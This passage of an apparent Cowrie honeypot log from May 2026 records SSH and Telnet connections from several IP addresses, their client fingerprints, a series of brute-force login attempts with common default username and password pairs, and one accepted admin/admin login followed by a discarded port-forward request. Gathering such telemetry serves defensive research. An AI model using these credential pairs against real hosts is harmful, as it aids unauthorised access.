03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:53.785331Z","src_ip":"101.47.159.125","session":"c2b61b85513a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"123qwe","message":"login attempt [bitrix/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:54.806463Z","src_ip":"101.47.159.125","session":"c2b61b85513a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:56.057297Z","src_ip":"101.47.159.125","session":"c2b61b85513a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00577688217163,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:14.977137Z","src_ip":"43.224.126.107","session":"d17d292ac1a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24114,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3cad79c7acf","protocol":"ssh","message":"New connection: 87.251.64.176:24114 (10.17.0.5:22) [session: d3cad79c7acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:39.476887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:39.481532Z","src_ip":"87.251.64.176","session":"d3cad79c7acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:39.577852Z","src_ip":"87.251.64.176","session":"d3cad79c7acf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:39.868879Z","src_ip":"87.251.64.176","session":"d3cad79c7acf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:39.968691Z","session":"d3cad79c7acf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:40.066751Z","src_ip":"87.251.64.176","session":"d3cad79c7acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:40.165412Z","src_ip":"87.251.64.176","session":"d3cad79c7acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":55978,"dst_ip":"10.17.0.5","dst_port":22,"session":"5740559fde27","protocol":"ssh","message":"New connection: 160.251.185.39:55978 (10.17.0.5:22) [session: 5740559fde27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:57.825860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:57.833010Z","src_ip":"160.251.185.39","session":"5740559fde27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:58.013955Z","src_ip":"160.251.185.39","session":"5740559fde27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"asdf","message":"login attempt [hadoop/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:58.771432Z","src_ip":"160.251.185.39","session":"5740559fde27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:50:59.955514Z","src_ip":"160.251.185.39","session":"5740559fde27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":47966,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd0d98316d3","protocol":"ssh","message":"New connection: 58.186.20.143:47966 (10.17.0.5:22) [session: 0dd0d98316d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:10.678945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:10.683685Z","src_ip":"58.186.20.143","session":"0dd0d98316d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:10.926913Z","src_ip":"58.186.20.143","session":"0dd0d98316d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:11.936221Z","src_ip":"58.186.20.143","session":"0dd0d98316d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:13.183119Z","src_ip":"58.186.20.143","session":"0dd0d98316d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":42842,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e0cff3283c3","protocol":"ssh","message":"New connection: 101.47.159.125:42842 (159.203.135.109:22) [session: 8e0cff3283c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:44.561105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:44.565807Z","src_ip":"101.47.159.125","session":"8e0cff3283c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:44.807414Z","src_ip":"101.47.159.125","session":"8e0cff3283c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_test","password":"1234","message":"login attempt [ftp_test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:45.794009Z","src_ip":"101.47.159.125","session":"8e0cff3283c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:51:47.036467Z","src_ip":"101.47.159.125","session":"8e0cff3283c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58768,"dst_ip":"10.17.0.5","dst_port":23,"session":"7147a0d365d8","protocol":"telnet","message":"New connection: 180.235.129.180:58768 (10.17.0.5:23) [session: 7147a0d365d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:52:20.920690Z"}
{"eventid":"cowrie.session.closed","duration":6.003025531768799,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:52:26.923598Z","src_ip":"180.235.129.180","session":"7147a0d365d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":60886,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8668d20214f","protocol":"ssh","message":"New connection: 160.251.185.39:60886 (10.17.0.5:22) [session: a8668d20214f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:52:59.672706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:52:59.675684Z","src_ip":"160.251.185.39","session":"a8668d20214f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:52:59.857281Z","src_ip":"160.251.185.39","session":"a8668d20214f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password123","message":"login attempt [ftpuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:00.621292Z","src_ip":"160.251.185.39","session":"a8668d20214f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:01.807413Z","src_ip":"160.251.185.39","session":"a8668d20214f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":53888,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd4200f760fc","protocol":"ssh","message":"New connection: 58.186.20.143:53888 (10.17.0.5:22) [session: dd4200f760fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:03.071690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:03.080823Z","src_ip":"58.186.20.143","session":"dd4200f760fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:03.326824Z","src_ip":"58.186.20.143","session":"dd4200f760fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2020","message":"login attempt [root/test2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:04.344092Z","src_ip":"58.186.20.143","session":"dd4200f760fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:05.596451Z","src_ip":"58.186.20.143","session":"dd4200f760fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33668,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f06086a90cd","protocol":"ssh","message":"New connection: 80.94.92.186:33668 (10.17.0.5:22) [session: 3f06086a90cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:08.943647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:09.190476Z","src_ip":"80.94.92.186","session":"3f06086a90cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:09.194264Z","src_ip":"80.94.92.186","session":"3f06086a90cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:10.455830Z","src_ip":"80.94.92.186","session":"3f06086a90cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:11.900397Z","src_ip":"80.94.92.186","session":"3f06086a90cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":51732,"dst_ip":"159.203.135.109","dst_port":22,"session":"437e8813d5ab","protocol":"ssh","message":"New connection: 101.47.159.125:51732 (159.203.135.109:22) [session: 437e8813d5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:37.585701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:37.589908Z","src_ip":"101.47.159.125","session":"437e8813d5ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:37.827300Z","src_ip":"101.47.159.125","session":"437e8813d5ab","protocol":"ssh"}
